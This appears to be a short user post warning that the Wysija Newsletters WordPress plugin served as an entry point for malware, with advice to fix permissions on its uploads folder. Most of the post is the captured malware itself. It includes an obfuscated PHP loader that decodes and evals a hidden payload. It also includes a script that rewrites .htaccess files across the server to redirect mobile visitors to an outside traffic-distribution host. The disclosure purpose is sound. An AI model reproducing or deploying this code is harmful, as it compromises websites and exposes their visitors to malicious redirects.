Malware

This plugin was the injection source for a nasty malware. Ensure you patch permissions on the uploads/wysija folder

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $beizcwfcum = 'c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:jfgg($n){return chr(ord($n)-1);} @error_reporting(0); pr5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!0hA%x5c%x7827pd%x5c%x78256<!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%%x29%73", NULL); }3]y76]258]y6g]273]y76]386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x342]58]24]31#-%x5c%x78V;3q%x5c%x7825}U;y]}R;2]},;osg!|!**#j{hnpd#)tutjyf%x5c7%x5c%x782f7#@#7%x5c%x782f7[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785cfepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x7825ufs!|ftmf!~<**9.-j%x5c%x78%x5c%x7824]y8%x5c%x7824-%x5~%x5c%x7824<%x5c%x78e%x5c%x78b%x5R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825twc%x785cq%x5c%x7825%x5c%x7if((function_exists("%x6f1%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%#!#-%x5c%x7825tmw)%x5c%x78878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5}%x5c%x787f;!|!}{;)gj}l;33bq}k;o24-%x5c%x7824gvodujpo!%x5c%%x787fw6*%x5c%x787f_*#ujojRk3%x5c%5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%]D8]86]y31]278]y3f]51L3]84]y31M6]y3e7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjud7fw6<*K)ftpmdXA6|7**197-2qjc%x7825mm)%x5c%x7825%vufs}%x5c%x7827;mnui}&;zepc}A;~!317]445]212]445]43]321]464]284]364]6]234]c%x7825fdy)##-!#~<%x5c%x782%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:7498y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5cpo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x7qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x75c%x7825%x5c%x7824-%x5c%x7824*!|!%x3]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]2ji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x3]y3:]68]y76#<%x5c%x7%50%x22%134%x78%62%x35%165%x33<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TWjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827%142%x5f%163%x74%141eg_replace("%x2f%50%x2e%52%x29%57%x65d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*x5c%x7825bT-%x5c%x7825hW~%x55c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-s)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x48]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]6*f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x782725tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7882f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#svufs}%x5c%x787f;!opjudovg}k~~9{d%>#]D6]281L1#%x5c%x782f#M5]jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x78x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5cqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pdx7824<!%x5c%x7825mm!>!#]y81]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobD4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%w!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:ovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvdbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~6x7824-%x5c%x7824y7%x5c5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x525ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]25827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{!2p%x5c%x7825Z<^2%x5c%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x786jg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x78:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7827<&w6<*&7-#o]s]o]s]#)fepm?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw0%x5c%x7825}X;!sp!*#oj:!>!#]y3d]51]y35]256]PNFS&d_SFSFGFS%x5c%x7860Q~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg7825)7gj6<*id%x5c%x782785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)g5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x7826]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y3>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)l,*c%x5c%x7827,*b%x5cUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)3237]36]373P6]36]73]83]238M7]381]211M2f#00#W~!Ydrr)%x5c%x7825r%x5c%x7%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x786f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FU%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]))))5h00#*<%x5c%x7825nfd)##Qtpz)#]34!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gp1]88M4P8]37]278]225]241]334]368]322]3]364]6]283]42.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x786x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppx7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gpsc%x7827!hmg%x5c%x782de>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x782?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5]275]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257%x78256<#o]1%x5c%x782f20Qpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)mbg)!gj<*#k#)usbut%x5c%x78!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ft25#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*x74%162%x5f%163%x70%154%x69%16460%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x25-bubE{h%x5c%x7825)mbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%mhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x642^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-x5c%x7825:osvufs:~928>>%x5c%x7822:ft!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_5G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%5j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x55)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>^#iubq#%x5c%x785cq%x%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x782524*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782fx7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)su { $GLOBALS["%x61%156%x75%156%x61"]=1; function ftcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudov62]y3:]84#-!OVMM*<%x22%51%x29%51x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<**5ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x78x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2#1]#-bubE{h%x5c%x7825{h19275j{hnpd19275fub5c%x7827{**u%x5c%x7825-#x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5cz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fO#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kjc%x787f_*#fubfsdXk5%x5c%x7860{66~>#p#%x5c%x782f#p#%x5c%x782f%%x5c%x7878%x5c%x7822l:!}5]67]452]88]5]48]32M3]c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x78)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x75c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fm6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<%145%x28%141%x72%162%x61%175-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]6557**^#zsfvr#%x5c%x7858e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z82fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%y74]256]y39]252]y83]27]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#7624]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]0{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z]67y]562]38y]572]48y][%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%xsutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x535.)1%x5c%x782f14+9**-)1%x5c%x782f2986mgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%UUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x78x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x>2q%x5c%x7825<#g6R85,67h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37ypjudovg}%x5c%x7878;0]=])0#)U!%x]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]3]248L3P6L1M5]D2P4]D6#<%x5c%x782825s:*<%x5c%x7825j:,,B5)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfsc!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x78#57]38y]47]67y]37]88y]27]28y]#%x5c%x7%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2725s:%x5c%x785c%x5c%x782x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<x7825!<*#}_;#)323ldfid>}&;!o)tpqsut>j%x5c%x7825!*9!%x5;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x782827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5cQ#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#60cpV%x5c%x787f%x5c%x787f%x5c5>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%5!*##>>X)!gjZ<#opo#>b%x5x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x25tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f/(.*)/epreg_replaceawyqndpwca'; $xpzxglwxrn = explode(chr((198-154)),'982,25,2204,20,5154,58,7220,49,119,56,2224,37,6598,47,8082,27,1007,56,6338,31,2011,29,2536,56,1990,21,8198,62,8025,57,5542,66,215,27,3204,43,3654,47,4313,25,3157,47,2444,39,7971,54,1938,52,3723,54,6168,25,8925,57,1510,27,9382,57,2669,58,7513,64,1796,64,695,69,502,27,7031,20,4634,63,8177,21,3817,40,957,25,3915,67,7765,33,2140,64,6776,58,5859,63,4561,22,9241,42,9925,66,3105,52,1186,34,9518,54,5077,38,8441,64,2100,40,9626,68,3982,57,9756,38,1442,68,3520,69,764,26,6417,20,8780,45,8675,67,8742,38,2337,43,7577,21,9600,26,5985,20,6994,37,4874,58,3589,65,6064,35,652,43,7171,49,7269,43,477,25,5298,63,4093,23,4583,51,6193,42,596,56,1274,63,7344,45,2592,38,4932,20,7051,70,242,41,8982,43,3310,58,7689,37,6534,64,5244,54,1220,54,323,59,5115,39,4425,25,4952,59,9694,62,9991,24,0,53,8505,52,8557,53,4170,42,4382,21,1753,43,2872,56,9572,28,2979,34,6705,36,6437,53,7598,21,8863,62,4039,54,2261,48,6261,35,6235,26,9854,29,2779,40,5742,62,6005,59,9883,42,9025,23,850,64,2630,39,7826,24,448,29,1558,32,1127,32,9104,31,7619,24,3039,66,6296,42,4338,44,4747,60,8302,22,1895,43,2483,53,6099,69,914,43,3470,50,4450,57,9345,37,8260,42,7643,46,53,66,9048,56,8324,58,8610,21,4507,54,5678,64,3247,30,301,22,5404,45,10015,37,1860,35,4116,54,6902,55,5804,55,3435,35,7456,57,790,27,7872,56,1159,27,3701,22,5449,43,2380,64,7121,50,4807,67,4403,22,1707,46,6490,44,5608,70,9283,62,5045,32,1089,38,382,44,1373,69,529,67,6645,60,1063,26,2727,52,1658,49,8109,68,1337,36,9135,52,3368,67,3013,26,9439,56,3277,33,9187,32,6834,68,6741,35,8631,44,2309,28,1631,27,5212,32,5492,50,5011,34,7850,22,1590,41,426,22,10052,54,8825,38,3777,40,5922,63,7928,43,9219,22,4212,63,9495,23,6957,37,2819,53,6369,48,175,40,7798,28,5361,43,2040,60,817,33,1537,21,2928,51,9794,60,7726,39,4275,38,7389,67,3857,58,4697,50,8382,59,7312,32,283,18'); $lxzmaxzlvb=substr($beizcwfcum,(60897-50791),(41-34)); if (!function_exists('fgbdohlcqk')) { function fgbdohlcqk($abzohfxajk, $iikfxuazaa) { $koklacierc = NULL; for($lzhqperxds=0;$lzhqperxds<(sizeof($abzohfxajk)/2);$lzhqperxds++) { $koklacierc .= substr($iikfxuazaa, $abzohfxajk[($lzhqperxds*2)],$abzohfxajk[($lzhqperxds*2)+1]); } return $koklacierc; };} $eefzhbkuyi="\x20\57\x2a\40\x65\141\x61\143\x6b\170\x72\157\x61\153\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\65\x39\55\x31\62\x32\51\x29\54\x20\143\x68\162\x28\50\x36\61\x37\55\x35\62\x35\51\x29\54\x20\146\x67\142\x64\157\x68\154\x63\161\x6b\50\x24\170\x70\172\x78\147\x6c\167\x78\162\x6e\54\x24\142\x65\151\x7a\143\x77\146\x63\165\x6d\51\x29\51\x3b\40\x2f\52\x20\164\x64\141\x69\146\x75\162\x77\162\x7a\40\x2a\57\x20"; $mnlfnlhazl=substr($beizcwfcum,(43397-33284),(78-66)); $mnlfnlhazl($lxzmaxzlvb, $eefzhbkuyi, NULL); $mnlfnlhazl=$eefzhbkuyi; $mnlfnlhazl=(463-342); $beizcwfcum=$mnlfnlhazl-1; ?><?php
@error_reporting(0);
$dirs = glob("../../../../../../../*", GLOB_ONLYDIR);
$count = sizeof($dirs);
//print_r($dirs);
$asd = '
RewriteEngine Ona
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|pad)|iris|kindle|lge\ |maemo|meego.+mobile|midp|mmp|netfront|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ (ce|phone)|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]
';
foreach ($dirs as $dir)
{
	$ht = $dir.'/.htaccess';
	$old = file_get_contents($ht);
	if (strstr($old, 'RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]'))
	{
		echo $ht.' - already patched'."\r\n";
	}
	else
	{
		unlink($ht);
		$fp = fopen($ht, "w+");
		fwrite($fp, $asd.$old);
		fclose($fp);
		echo $ht.' - patched'."\r\n";
	}
}
echo 'CRAZYTotal: '.$count;
?>

https://wordpress.org/plugins/wysija-newsletters/